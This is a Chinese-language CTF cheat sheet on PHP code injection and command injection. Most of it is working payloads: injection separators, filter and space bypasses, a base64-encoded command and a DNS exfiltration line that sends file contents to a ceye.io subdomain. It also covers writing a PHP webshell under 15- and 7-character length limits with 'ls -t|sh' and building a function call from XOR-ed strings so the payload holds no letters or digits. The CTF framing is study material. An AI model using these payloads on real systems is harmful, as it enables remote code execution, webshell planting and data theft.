CTF RCE与命令注入
相关函数
代码注入
-
eval()
传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。
return 语句会立即中止当前字符串的执行。代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留。
-
assert()
-
call_user_func()/call_user_func_array()
可以传递任何内置函数或用户自定义函数,除了语言结构如array(),echo(),empty(),eval(),exit(),isset(),list(),print(),unset()
-
create_function()
-
usort()/uasort()
例如:
?1[]=phpinfo()&1[]=123&2=assert usort($_GET[1],'assert');
-
${php代码}
例如:${phpinfo()};
-
ob_start()
命令执行
-
system()
-
exec()/shell_exec()
-
passthru
-
``运算符
命令执行的绕过
命令执行的分隔符
例子:system("echo ".$_GET[1]);
功能 | 符号 | payload |
---|---|---|
换行符 | %0a | ?1=123%0apwd |
回车符 | %0d | 同上 |
连续指令 | ; | ?1=123;pwd |
后台进程 | & | ?1=123&pwd |
管道符 | |(显示后面语句的结果) | ?1=123|pwd |
逻辑运算 | ||或&& | ?1=123||pwd |
空格代替
- <符号
- $IFS(好像有问题)
- $
- $IFS$9
- %09用于url传递
cat</flag
绕过
- a=l;b=s;$a$b
- `echo d2hvYW1p|base64 -D`
- linux命令中可以加
\
,所以甚至可以ca\t /fl\ag
'l's
同上$()
配合printf
,ls $(printf '\57')
命令执行的各种符号
使用env命令查看本地变量,expr substr来截取需要的字符,拼接成命令执行
例如:
echo "${PATH:0:1}"
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
命令无回显的情况
判断
-
延时
例子:ls;sleep 3
-
http请求/dns请求
http://ceye.io/payloads
利用
- 写shell(直接写入/外部下载)
- echo >
- wget
- http/dns等方式带出数据
需要去掉空格,可以使用sed等命令
如:echo `cat flag.php|sed s/[[:space:]]//`.php.xxxxxx.ceye.io
可控字符串长度受限
15个字符
echo \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1
mv 1 1.php
7个字符
思路:
1、命令+>文件名
可以生产文件(命令可以为空)
2、ls -t
可以将文件按时间顺序排列
3、sh
命令可以执行sh脚本
4、base64命令可以避免特殊字符
5、\可以分行输入命令
w>hp
w>1.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>7\|\\
w>XSk\\
w>Fsx\\
w>dFV\\
w>kX0\\
w>bCg\\
w>XZh\\
w>AgZ\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\
ls -t|\
sh
无数字字母getshell
- 思路:异或、取反
- 例子:
$_='<>]=@^<'^'[[){,?[';//$_='getFlag'\n $_();//getFlag()